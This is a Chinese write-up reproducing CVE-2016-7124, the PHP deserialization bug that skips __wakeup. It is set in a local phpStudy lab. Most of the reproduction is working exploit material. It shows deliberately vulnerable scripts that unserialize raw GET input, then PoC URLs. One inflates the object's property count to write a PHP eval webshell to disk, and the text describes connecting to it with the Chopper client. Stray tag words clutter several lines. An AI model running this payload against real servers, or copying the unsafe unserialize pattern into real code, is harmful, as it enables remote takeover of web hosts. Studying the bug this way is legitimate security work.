CVE-2016-7124php反序列化漏洞复现php
0X00漏洞缘由mysql
若是存在__wakeup方法,调用 unserilize() 方法前则先调用__wakeup方法,可是序列化字符串中表示对象属性个数的值大于 真实的属性个数时会跳过__wakeup的执行web
0X01漏洞影响版本sql
PHP5 < 5.6.25数据库
PHP7 < 7.0.10apache
0X02漏洞详情安全
PHP(PHP:HypertextPreprocessor,PHP:超文本预处理器)是PHPGroup和开放源代码社区共同维护的一种开源的通用计算机脚本语言。该语言主要用于Web开发,支持多种数据库及操做系统。PHP5.6.25以前版本和7.0.10以前的7.x版本中的ext/standard/var_unserializer.c文件存在安全漏洞,该漏洞源于程序没有正确处理无效的对象。远程攻击者可借助特制的序列化数据利用该漏洞形成拒绝服务。测试
0X03漏洞复现环境搭建this
使用Windows10操做系统,搭建phpStudy一键集成环境搭建web服务。spa
这里须要将php版本设置为有漏洞的版本。
我这里使用的是php5.4.45+apache+mysql一键集成环境
0X04漏洞复现
搭建好后,咱们首先须要编写测试脚本
测试脚本以下:
<?php class test{ public $name = "faairy"; public function __wakeup(){ echo "this is __wakeup<br>"; } public function __destruct(){ echo "this is __destruct<br>"; } } $str = $_GET["s"]; @$un_str = unserialize($str); echo $un_str->name."<br>"; ?>
脚本上标明接收s参数,对其反序列化后输出name属性的值。
编写poc访问该脚本:
Poc为http://127.0.0.1/test2.php?s=O:4:"test":1:{s:4:"name";s:5:"fairy";}
访问结果以下图所示:
根据访问结果能够看到反序列化以前先调用了__wakeup 方法,再调用_destruct 方法。
将传入的序列化数据的对象变量个数由1更改成2,页面只执行了__destruct方法,并且没有输出name,是因为反序列化数据时失败没法建立对象。
修改测试脚本以下:
<?php class test{ public $name = "fairy"; public function __wakeup(){ echo "this is __wakeup<br>"; foreach(get_object_vars($this) as $k => $v){ $this->$k = null; } } public function __destruct(){ echo "this is __destruct<br>"; $fp = fopen("D:\\phpstudy\\PHPTutorial\\WWW\\2333.php","w"); fputs($fp,$this->name); fclose($fp); } } $str = $_GET["s"]; @$un_str = unserialize($str); echo $un_str->name."<br>"; ?>
构造Poc进行写入一句话木马操做。
Poc为:http://127.0.0.1/test3.php?s=O:4:"test":1:{s:4:"name";s:29:"<?php @eval($_POST['123']);?>";}
执行后结果以下图所示:
在对应的文件夹找到刚刚写入的文件,发现文件中内容为空,没有一句话木马,说明写入失败。
失败缘由为:__destruct方法在调用时将name参数写入wcute.php文件可是因为__wakeup方法清除了对象属性,因此在调用__destruct时已经没有了name属性,所以文件将会写入失败。
将Poc中对象属性个数改成2继续尝试
Poc为:http://127.0.0.1/test3.php?s=O:4:"test":2:{s:4:"name";s:29:"<?php @eval($_POST['123']);?>";}
执行后以下图所示:
在对应的文件夹找到该文件发现文件中被写入了一句话木马。
如图所示:
使用菜刀链接发现链接成功,以下图所示